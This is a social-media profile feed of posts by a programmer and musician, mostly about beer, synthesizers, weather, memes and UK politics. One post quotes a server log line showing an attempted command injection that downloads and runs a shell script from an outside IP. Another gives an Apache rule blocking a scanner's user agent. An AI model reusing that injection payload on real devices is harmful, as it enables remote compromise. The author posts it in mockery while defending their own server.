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Jonathan Stowe

@gellyfish.uk
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Computer Programmer, Tinkerer and Musician. Oh and beer Enthusiast, but I can do those other things while drinking beer.

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Jonathan Stowe @gellyfish.uk · 01/10/2026
Georgiy Zhukhov
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Jonathan Stowe @gellyfish.uk · 30/09/2026
And when that fails
Some electronic musical instruments.
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Jonathan Stowe @gellyfish.uk · 30/09/2026
The death of Thomas Chatterton
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Jonathan Stowe @gellyfish.uk · 30/09/2026
Went to Westerham Brewery for lunch. Cracking beer AND Momos (Nepalese dumplings.). Strong recommend.
Westerham Brewery Hop Rocket
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Jonathan Stowe @gellyfish.uk · 25/09/2026
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Jonathan Stowe @gellyfish.uk · 22/09/2026
A cracker and I'm allowed due to holiday.
The Kernel Brewery Half Brick. 500ml bottle
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Jonathan Stowe @gellyfish.uk · 21/09/2026
Sticking it to the fash one piece of merchandise at a time.
RNLI lapel badge.
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Jonathan Stowe @gellyfish.uk · 21/09/2026
Laughing in sea shanty
Lifeboat crew laughing
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Jonathan Stowe @gellyfish.uk · 11/09/2026
The Axolotl of Happiness is sending its best wishes
Axolotl
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Jonathan Stowe @gellyfish.uk · 04/09/2026
See also the "Atari Punk Synth"
Atari Punk Synth schematic, basically two 555 timers.
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Jonathan Stowe @gellyfish.uk · 30/08/2026
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Jonathan Stowe @gellyfish.uk · 30/08/2026
Screw it. Bank Holiday tomorrow.
Northern Monk Even More Faith 8% DIPA
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Jonathan Stowe @gellyfish.uk · 19/08/2026
Lisa Nandy Secretary of State for Digital, Culture, Media and Sport of the United Kingdom
Underground Resistance - Detroit Techno collective
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Jonathan Stowe @gellyfish.uk · 14/08/2026
Well
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Jonathan Stowe @gellyfish.uk · 14/08/2026
Look I thought it was supposed to cooling down today
Outside temperature 36 degrees
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Jonathan Stowe @gellyfish.uk · 14/08/2026
Does this face look bovvered?
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Jonathan Stowe @gellyfish.uk · 14/08/2026
Ah Mr Farage, we've been waiting for you
Daniel Greenberg - Parliamentary Commissioner for Standards
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Jonathan Stowe @gellyfish.uk · 13/08/2026
Oh I don't even have to move to do that 🤣
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Jonathan Stowe @gellyfish.uk · 10/08/2026
Apparently this is the real one
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Jonathan Stowe @gellyfish.uk · 07/08/2026
theguardian.com/commentisfree/picture/2026/aug/07/rebecca-hendin-on-the-vertical-drinking-row-cartoon
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Jonathan Stowe @gellyfish.uk · 02/08/2026
Max Miller
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Jonathan Stowe @gellyfish.uk · 25/07/2026
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Jonathan Stowe @gellyfish.uk · 13/07/2026
Why is there a B1 flying around Plymouth? www.flightradar24.com/40a5dff9
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Jonathan Stowe @gellyfish.uk · 11/07/2026
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Jonathan Stowe @gellyfish.uk · 11/07/2026
Unscientific (under the parasol outside,) but indicative:
Outside temperature sensor at 33.7
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Jonathan Stowe @gellyfish.uk · 10/07/2026
Ooh just saw this www.flightradar24.com/DLZFN/40980aa1
Goodyear blimp
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Jonathan Stowe @gellyfish.uk · 21/06/2026
Never had this for some reason. But a proper IPA. I bit my lip yesterday when someone made the bold statement that IPA was invented in the US. Sure they ran with it and made stuff that may have some of the heritage. But no.
Tonbridge Brewery IPA
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Jonathan Stowe @gellyfish.uk · 18/06/2026
Roy Keane
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Jonathan Stowe @gellyfish.uk · 17/06/2026
tardigrade with violin
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Jonathan Stowe @gellyfish.uk · 17/06/2026
Image from the film "The Mouse That Roared".
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Jonathan Stowe @gellyfish.uk · 14/06/2026
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Jonathan Stowe @gellyfish.uk · 13/06/2026
I'd read about the fruits of hubris my skript kiddie
45.71.14.204 - - [13/Jun/2026:19:40:22 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://140.233.190.47/dlink%20-O%20-%3E%20/tmp/kh;sh%20/tmp/kh%27$ HTTP/1.1" 400 266 "-" "terrabot-owned-you" PID: 454611 139935059273408 0
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Jonathan Stowe @gellyfish.uk · 13/06/2026
Shiba INo with a gun chasing turkeys
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Jonathan Stowe @gellyfish.uk · 13/06/2026
No I don't know what this is about either but it could become meme I guess.
Putin as a cosplay unicorn
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Jonathan Stowe @gellyfish.uk · 13/06/2026
A blast from the past.
My Name Children is Mr Gove.

Liar! Your name is Cunt.. My Mum Shouts it everytime you are on telly.
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Jonathan Stowe @gellyfish.uk · 13/06/2026
Screw it I haven't got a single vulnerability that it's trying to exploit but it's just cocking annoying.
    RewriteEngine on
    RewriteCond %{HTTP_USER_AGENT}  ^.*libredtail-http.*$
    RewriteRule . - [R=403,L]
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Jonathan Stowe @gellyfish.uk · 09/06/2026
This is mine. A panoramic shot of my rig for a live techno set a number of years ago. It would be a bit pared down these days.
Panoramic view of one of my live rigs.
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Jonathan Stowe @gellyfish.uk · 05/06/2026
It's All Fun And Games Until The Beer Runs Out ENGRAVED Vintage Look Wood Sign

https://www.etsy.com/listing/1143764088/its-all-fun-and-games-until-the-beer
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Jonathan Stowe @gellyfish.uk · 05/06/2026
🤣
A lot of browser tabs
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Jonathan Stowe @gellyfish.uk · 31/05/2026
Helps if I actually paste the picture 🤣
Humza Punjabi Samosa
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Jonathan Stowe @gellyfish.uk · 31/05/2026
Ten years old. It would have been rude not to try it. Not as bad as I feared but not strong enough to have kept. I won't be drinking all of it. Egg.
Three litre ten year old Christmas AleThree litre ten year old Christmas Ale swewdfd
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Jonathan Stowe @gellyfish.uk · 30/05/2026
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Jonathan Stowe @gellyfish.uk · 29/05/2026
Oh yes we can. (Pantomime dames)
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Jonathan Stowe @gellyfish.uk · 24/05/2026
This may be a mistake given the temperature. Oh well.
Superstition West Coast IPA. 7%.
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Jonathan Stowe @gellyfish.uk · 24/05/2026
Liking this for the weather
Shepherd Neame First Drop
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Jonathan Stowe @gellyfish.uk · 23/05/2026
basically, but hey... 🤣
Disaster Girl
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Jonathan Stowe @gellyfish.uk · 23/05/2026
I thought it couldn't actually be 22⁰C so I restarted the sensor
Showing temperature sensor with 26.6⁰C and humidity of 58.06%
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Jonathan Stowe @gellyfish.uk · 16/05/2026
Tankies sir. Thousands of 'em.
Scene from the movie Zulu.  "Zulus sir. Thousands of them"
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Jonathan Stowe @gellyfish.uk · 09/05/2026
What do you think would happen now
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Jonathan Stowe @gellyfish.uk · 09/05/2026
The greens wouldn't.
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